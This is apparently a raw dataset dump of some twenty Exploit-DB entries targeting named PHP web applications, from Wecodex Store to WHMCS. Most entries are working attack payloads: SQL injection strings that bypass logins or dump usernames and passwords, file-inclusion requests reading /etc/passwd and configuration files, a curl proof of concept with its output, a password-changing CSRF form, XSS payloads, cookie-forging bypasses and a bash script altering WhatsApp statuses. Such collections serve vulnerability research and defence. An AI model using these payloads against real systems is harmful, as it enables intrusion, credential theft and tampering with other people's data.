deardaniel/secdata-raw huggingface dataset:
Exploit-DB #44725
Description: Wecodex Store Paypal 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2018-05-23
Author: AkkuS

Exploit:
# Exploit Title: Wecodex Store Paypal 1.0 - SQL Injection
# Dork: N/A
# Date: 2018-05-23
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://www.wecodex.com/item/view/online-store-system-with-paypal-sdk-in-php/9
# Version: 1.0
# Category: Webapps
# Tested on: Kali linux
# Description : PHP Dashboards is prone to an SQL-injection vulnerability
# because it fails to sufficiently sanitize user-supplied data before using
# it in an SQL query.Exploiting this issue could allow an attacker to
# compromise the application, access or modify data, or exploit latent
# vulnerabilities in the underlying database.

# PoC : SQLi :
# Demo : https://Target

https://Target/signIn

POST /signIn HTTP/1.1
Host: Target
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://Target/login
Content-Length: 23
Cookie: PHPSESSID=j89q1i6r4i1juosmihns9c1jo2
Connection: keep-alive
id=admin&password=12345


# Vulnerable Payload :
# Parameter: id (POST)
# Type: boolean-based blind
# Title: AND boolean-based blind - WHERE or HAVING clause
# Payload: 

id=admin' AND 9071=9071 AND 'gneN'='gneN&password=12345

# Type: AND/OR time-based blind
# Title: MySQL >= 5.0.12 OR time-based blind
# Payload: 

id=admin' OR SLEEP(5) AND 'gXNU'='gXNU&password=12345
Exploit-DB #29737
Description: Weekly Drawing Contest 0.0.1 - 'Check_Vote.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2007-03-13
Author: h4ck3r

Exploit:
source: https://www.securityfocus.com/bid/22937/info

Weekly Drawing Contest is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized user to view local files on the affected webserver.

This issue affects version 0.0.1; other versions may also be affected. 


http://www.example.com/[path]/check_vote.php?order=../../../../etc/passwd
Exploit-DB #10606
Description: weenCompany - SQL Injection
Type: webapps
Platform: php
Date: 2009-12-22
Author: Gamoscu

Exploit:
#############################################################
# weenCompany SQL Injection Vulnerability

# Vendor: http://www.weentech.com/

# Author: Gamoscu

# Site: www.1923turk.biz

#  Site: http://gamoscu.wordpress.com/
  
##############################################################

# Dork:"Created by weenCompany"

 
# Exploit: http://server/index.php?moduleid=m2_news[SQL-inj]&articleid=1
    
 
##############################################################
# Greetz: Manas58 Baybora Delibey Tiamo Psiko
##############################################################


Vatan Lafla Deðil Eylemle Sevilir

Kiskananlar catlasin Zorunuza Gitmesin
Exploit-DB #7728
Description: Weight Loss Recipe Book 3.1 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-01-11
Author: x0r

Exploit:
###############################
# Weight Loss Recipe Book 3.1 #
###############################

Autore: x0r
Emails: x0r@live.it \ andry2000@hotmail.it
Cms Site: http://www.my-health-and-fitness.org/weight-loss-recipe-book.html
################################

Bug In \wlrb_files\admin-login.php

SELECT *
				FROM ' . $program_prefix . 'administrators
				WHERE administrators_username = "' . $_POST['administrators_username']
. '" and
					administrators_pass = PASSWORD("' . $_POST['administrators_pass'] .
'")';
					
Exploit: ' or '1=1

##############################

Greetz: EdGaR :P

# milw0rm.com [2009-01-11]
Exploit-DB #35023
Description: Wernhart Guestbook 2001.03.28 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2010-11-29
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/45084/info

Wernhart Guestbook is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Wernhart Guestbook 2001.03.28 is vulnerable; other versions may also be affected.

http://www.example.com/guestbook/insert.phtml?LastName=' union select 1,2,3,4,5,6/*
Exploit-DB #28330
Description: Western Digital Arkeia Appliance 10.0.10 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2013-09-17
Author: xistence

Exploit:
###################################################################################################################################
# Exploit Title: Western Digital Arkeia Appliance v10.0.10
# Date: Sep 17 2013
# Exploit Author: xistence < xistence[at]0x90[.]nl >
# Vendor Homepage: www.arkeia.com
# Tested on: Virtual Appliance - ESXi 5.1
# Affected Version : v10.0.10 and lower
# Link: ftp://ftp.arkeia.com/arkeia-virtual-appliance/vmware-virtual-appliance/full-virtual-appliance/arkeia_virtual_appliance-10.0.10.zip
# Fix: Upgrade to version 10.1.10
#
###################################################################################################################################

Arkeia Appliance v10.0.10 is prone to 2 security vulnerabilties: 

1) Unauthenticated firmware upload 

There are no restrictions when a POST request is send to http://<IP>/scripts/upload.php thus allowing any 
unauthenticated client to upload any data to the /tmp/ApplianceUpdate file. 

2) Local File Inclusion (LFI) vulnerability in the cookie "lang=" 

By sending a request (without the need for authentication) to the homepage of the appliance with a cookie "lang=../../../../../../../../../../../../../../../../etc/passwd%00", 
it's possible to read files on the server, in this example /etc/passwd. 

Proof of Concept 
Run the following command: 
curl --cookie "lang=../../../../../../../../../../../../../../../../etc/passwd%00" http://<IP>/ 

Which will return the /etc/passwd: 

root:x:0:0:root:/root:/bin/bash 
bin:x:1:1:bin:/bin:/sbin/nologin 
daemon:x:2:2:daemon:/sbin:/sbin/nologin 
adm:x:3:4:adm:/var/adm:/sbin/nologin 
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin 
sync:x:5:0:sync:/sbin:/bin/sync 
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown 
halt:x:7:0:halt:/sbin:/sbin/halt 
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin 
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin 
operator:x:11:0:operator:/root:/sbin/nologin 
[..snip..]
Exploit-DB #41094
Description: Wetransfer Clone Script - Authentication Bypass
Type: webapps
Platform: php
Date: 2017-01-18
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: SQL Injection + Authentication Bypass
# Date: 18.01.2017
# Vendor Homepage: http://www.scriptgiant.com/
# Script Name: Wetransfer Clone Script
# Script Buy Now: http://www.popularclones.com/products/File-Transfer-Script
# Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # # 
# http://localhost/[PATH]/admin/ and set Username:'or''=' and Password to 'or''=' and hit enter.
# SQL Injection There are security vulnerabilities.
# # # # #
Exploit-DB #38523
Description: Weyal CMS - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2013-05-23
Author: XroGuE

Exploit:
source: https://www.securityfocus.com/bid/60089/info

Weyal CMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/fullstory.php?id=-999 union all select 1,2,version(),user(),database(),6

http://www.example.com/fullstory.php?id=-999 UNION SELECT 1,2,version(),database(),5,6,7,8,9,10,11,12,13,14

http://www.example.com/countrys.php?countryid=-999 union all select 1,version(),database()
Exploit-DB #29955
Description: WF-Quote 1.0 Xoops Module - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-05-07
Author: Bulan

Exploit:
source: https://www.securityfocus.com/bid/23845/info


The WF-Quote module for the Xoops CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

WF-Quote 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/modules/wfquotes/index.php?op=cat&c=1/**/UNION/**/SELECT/**/0,uname,pass,3,4,5/**/FROM/**/xoops_users/**/LIMIT/**/1,1/*
Exploit-DB #2604
Description: WGCC 0.5.6b - 'quiz.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-10-20
Author: ajann

Exploit:
# Title  :   WGCC Beta <= 0.5.6 (quiz.php) Remote SQL InJection Vulnerability
# Author :   ajann
# Dork   :   "Web Group Communication Center beta 0.5.6/0.5.5/.."
# Greetz :   Tüm, Müslüman, Aleminin, Ramazan, Bayram., MUBAREK, Olsun

-->Login Before Injection

[Inject]]]

### http://[target.com]/[path]/quiz.php?action=show&qzid=[]SQL INJECTION[]

Example:
quiz.php?action=show&qzid=-1%20union%20select%200,0,0,0,username,passwort,email,0,0,0,0,0,0,0,0%20from%20wgcc_user%20where%20userid=1

++ userid=1 Change This

Crack MD5 HASH

[/Inject]]]

#ajann,Turkey
#...

#Im Not Hacker!

# milw0rm.com [2006-10-20]
Exploit-DB #33727
Description: wh-em.com upload 7.0 - Insecure Cookie Authentication Bypass
Type: webapps
Platform: php
Date: 2010-02-16
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/38610/info

wh-em.com upload is prone to an authentication-bypass vulnerability because it fails to adequately verify user-supplied input used for cookie-based authentication.

Attackers can exploit this vulnerability to gain administrative access to the affected application, which may aid in further attacks.

wh-em.com upload 7.0 is vulnerable; other versions may also be affected. 

The following example data is available:

javascript:document.cookie="whem_Name=adm_user;path=/";
javascript:document.cookie="whem_Password=adm_user;path=/";
Exploit-DB #18396
Description: WhatsApp - Remote Change Status
Type: webapps
Platform: php
Date: 2012-01-20
Author: emgent

Exploit:
#!/bin/bash
#
# WhatsApp Status changer v0.2 stable
# A slim exploit able to change the WhatsApp
# user status in a remote way.
#
# This program is released under the terms of the GNU General Public License
# (GPL), which is distributed with this software in the file "COPYING".
# The GPL specifies the terms under which users may copy and use this software.
#
 
show_help(){
  echo ""
  echo " 2012 (C) WhatsApp-exp.sh - The Whats App Status Changer Exploit"
  echo ""
  echo " --usage    show the exploit Usage"
  echo " --credits  show the exploit Credits"
  echo " --help     show the Help"
  echo ""
  echo " enJoy"
}
 
show_credits(){
  echo ""
  echo " Emanuele Gentili"
  echo " http://www.emanuelegentili.eu"
  echo " eg @ offensive-security.it"
  echo ""
  echo " Stefano Fratepietro"
  echo " http://steve.deftlinux.net"
  echo " stefano @ deftlinux.net"
  echo ""

}
 
show_usage(){
  echo ""
  echo " 2012 (C) WhatsApp-exp.sh - The Whats App Status Changer Exploit"
  echo ""
  echo " usage $0 --countrycode 39 --mobilenum[PII_REDACTED] --text g0t p0wned"
  echo ""
  echo " enJoy"
}


# Bash
while [[ $# != 0 ]]; do
    arg_name=$1; shift
    case "$arg_name" in
      --help|-?|-h) show_help; exit 0;;
      --credits) show_credits; exit 0;;
      --usage) show_usage; exit 0;;
      --countrycode) countrycode=$1; shift;;
      --mobilenum) mobilenum=$2; shift;;
      --text) text=$3; shift;;
      *) echo "invalid option: $1"; show_help;exit 1;;
    esac
done
 
[ -z "$countrycode" ] && { show_help; exit 1; }

whatsAppagent="WhatsApp/2.6.7 iPhone_OS/5.0.1 Device/Unknown_(iPhone4,1)"

wget --no-cache --delete-after --quiet --no-check-certificate --user-agent="$whatsAppagent" --post-data="cc=$countrycode&me=$mobilenum&s=$text" https://s.whatsapp.net/client/iphone/u.php

echo ""
echo "[+] Operazione completata."
echo ""
Exploit-DB #15971
Description: whCMS 0.115 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2011-01-11
Author: High-Tech Bridge SA

Exploit:
Vulnerability ID: HTB22767
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_whcms.html
Product: whCMS
Vendor: Joram van den Boezem ( http://whcms.burolaga.nl/ ) 
Vulnerable Version: 0.115 alpha and probably prior versions
Vendor Notification: 28 December 2010 
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Low 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "modules/user/user.admin.php" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/index.php?module=user&task=save&elmid=" method="post" name="main">
<input type="hidden" name="id" value="USER_ID">
<input type="hidden" name="module" value="100">
<input type="hidden" name="newpass1" value="newpass">
<input type="hidden" name="newpass2" value="newpass">
<input type="hidden" name="email" value="email2@example.com">
<input type="hidden" name="usertype_id" value="2">
</form>
<script>
document.main.submit();
</script>
Exploit-DB #2174
Description: Wheatblog 1.1 - 'session.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-11
Author: O.U.T.L.A.W

Exploit:
###########################################################################################
#                                   Aria-Security.net Advisory                            #
#                                 Discovered  by: O.U.T.L.A.W                             #
#                                < www.Aria-security.net >                                #
#                      Gr33t to: A.u.r.a  & l2odon & DrtRp & Sh3ll                        #              
###########################################################################################


<?php
include_once("$wb_class_dir/classDatabase.php");


function Start_Session()
{
    global $session_dir;

    if ( $session_dir != '' )
        session_save_path($session_dir);

    if ( ! isset($_SESSION) )
    {
        session_start();
        // Supposedly a fix for IE6
        header('Cache-control: private');
        My_Cache();

        if ( ! isset($_SESSION['db']) || gettype($_SESSION['db']->db) != 'resource')
            touchDatabaseSession();

    }
}


***********************************************************************

Proof of Concept:
server/includes/session.php?wb_class_dir=SHELL

Contact : Outlaw@aria-security.net

# milw0rm.com [2006-08-11]
Exploit-DB #27086
Description: White Album 2.5 - 'Pictures.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-01-16
Author: liz0

Exploit:
source: https://www.securityfocus.com/bid/16247/info

White Album is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

An example URI has been provided:

http://www.example.com/folder/pictures.php?dir=[SQL]
Exploit-DB #14472
Description: WhiteBoard 0.1.30 - Multiple Blind SQL Injections
Type: webapps
Platform: php
Date: 2010-07-25
Author: Salvatore Fresta

Exploit:
WhiteBoard 0.1.30 Multiple Blind SQL Injection Vulnerabilities

 Name              WhiteBoard
 Vendor            http://sarosoftware.com
 Versions Affected 0.1.30

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2010-07-24

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 

I. ABOUT THE APPLICATION
________________________

WhiteBoard  is  a  fast,  powerful, and free open source
discussion board solution.  The project started in March
of 2007,  and  its  recent release is the culmination of
three  years of hard work. Developed by a Zend Certified
PHP  Engineer,   this  discussion  board  uses  advanced
algorithms  and  features  which  previously  were  only
available in paid discussion board solutions.


II. DESCRIPTION
_______________

Some  parameters  in  controlpanel.php  are not properly
sanitised before being used in SQL queries.


III. ANALYSIS
_____________

Summary:

 A) Multiple Blind SQL Injection
 

A) Multiple Blind SQL Injection
______________________

The  parameters  email and displayname  sent via POST to
controlpanel.php are not properly sanitised before being
used in a SQL query. This can be exploited to manipulate
SQL queries by injecting arbitrary SQL code.

Successful exploitation  requires that "magic_quotes_gpc"
is disabled. 


IV. SAMPLE CODE
_______________

A) Multiple Blind SQL Injection

1 - Login as a normal user.
2 - Go to index.php?act=controlPanel

Try the following code as "Display Name" or "E-mail":

' OR (SELECT(IF(ASCII(0x41) = 65,BENCHMARK(999999999,NULL),NULL)))#


V. FIX
______

No fix.
Exploit-DB #41313
Description: WhizBiz 1.9 - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-12
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: WhizBiz - Business Directory CMS v1.9 - SQL Injection
# Google Dork: N/A
# Date: 12.02.2017
# Vendor Homepage: http://webhelios.com/
# Software Buy: https://codecanyon.net/item/whizbiz-business-directory-cms/12931569
# Demo: http://whizbiz.webhelios.com/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php/en/results/plainkey=[SQL]
# # # # #
Exploit-DB #14366
Description: Whizzy CMS 10.01 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-07-15
Author: Anarchy Angel

Exploit:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[x] Type: Local File Inclusion
[x] Vendor: Unverse.net
[x] Script Name: Whizzy CMS
[x] Script version: 10.01
[x] Author: Anarchy Angel
[x] Mail : anarchy[dot]ang31@gmail[dot]com
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Exploit:
http://site.org/?[LFI]

Ex:
http://site.org/?../../../../../../../etc/passwd

Special Tnx : lun0s, proge, sToRm, progenic, gny
Exploit-DB #14500
Description: Whizzy CMS 10.02 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-07-29
Author: Anarchy Angel

Exploit:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[x] Type: Local File Inclusion
[x] Vendor: www.unverse.net
[x] Script Name: Whizzy CMS
[x] Script Version: 10.02
[x] Script DL: http://code.google.com/p/whizzy/downloads/list
[x] Author: Anarchy Angel
[x] Mail : anarchy[dot]ang31@gmail[dot]com
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Exploit:
http://site.org/?[LFI]

Ex:
http://site.org/?../../../../../../../etc/passwd

This is a special DefCon 18 kick off from me! See ya there ;)

Special Tnx : lun0s, proge, sToRm, progenic, gny
Exploit-DB #38155
Description: WHM - 'filtername' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-12-27
Author: Rafay Baloch

Exploit:
source: https://www.securityfocus.com/bid/57061/info

WHM is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/webmail/x3/mail/filters/editfilter.html?account=&filtername=%22%3E%3Cimg%20src=x%20onerror=prompt(0);%3E

http://www.example.com/webmail/x3/mail/filters/editfilter.html?account=&filtername=%22%3E%3Cimg%20src=x%20onerror=prompt(0);%3E
Exploit-DB #37331
Description: WHMCompleteSolution (WHMCS) - 'boleto_bb.php' SQL Injection
Type: webapps
Platform: php
Date: 2012-05-29
Author: dex

Exploit:
source: https://www.securityfocus.com/bid/53711/info

WHMCS (WHM Complete Solution) is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

########################################
# First found around September 2011~
# Kept 0day because killing bugs is cruise control for gay.
# Author: dx7r
# fuck off.
# if you use this now, you're a moron. lots of love.
#######################################
import urllib2
import urllib
import os

def regglobcheck():
        regglob1 = urllib2.Request('http://127.0.0.1/whmcs/whmcs_v451/whmcs/modules/gateways/boleto/boleto_bb.php?dadosboleto[identificacao]=test')
        regglob2 = urllib2.urlopen(regglob1)
        regglob3 = regglob2.read().count('test')
        if regglob3 == 0:
                rgen = 0
                print " [+] Register Globals not enabled, no sqli on this whmcs install"
        elif regglob3 >= 1:
                rgen = 1
                print " [+] Register Globals enabled, own it."

regglobcheck()
Exploit-DB #18081
Description: WHMCompleteSolution (WHMCS) 3.x - 'clientarea.php' Local File Disclosure
Type: webapps
Platform: php
Date: 2011-11-04
Author: red virus

Exploit:
# Title      : WHMCS (clientarea.php) Local File Disclosure

# Author     : Red Virus >>>c3o@w.cn

# Product    : WHMCS ( WHMCompleteSolution )
# Vendor     : http://whmcs.com/
# Date       : 11/04/2011
# Version    : 3.X.x
# Tested on  : linux+apache
# Homepage   : www.alm3refh.com 
================================================================

 
http://localhost/[PATH]/clientarea.php?action=[wrong_value]&templatefile=[LFD]%00
 
http://localhost/[PATH]/clientarea.php?action=red&templatefile=../../configuration.php%00
 
show the page source to see Disclosure file
 

================================================================

Greetz To .
 >>> alm3refh.com - tryag.cc - joood
T3rr0rist & cyb3r-1st & i-Hmx & h311 c0d3 
infofst & virus hima & Karar aLShaMi  & all alm3refh group
ahwak2000 & reno & amr2006 & b0x & ZombiE_KsA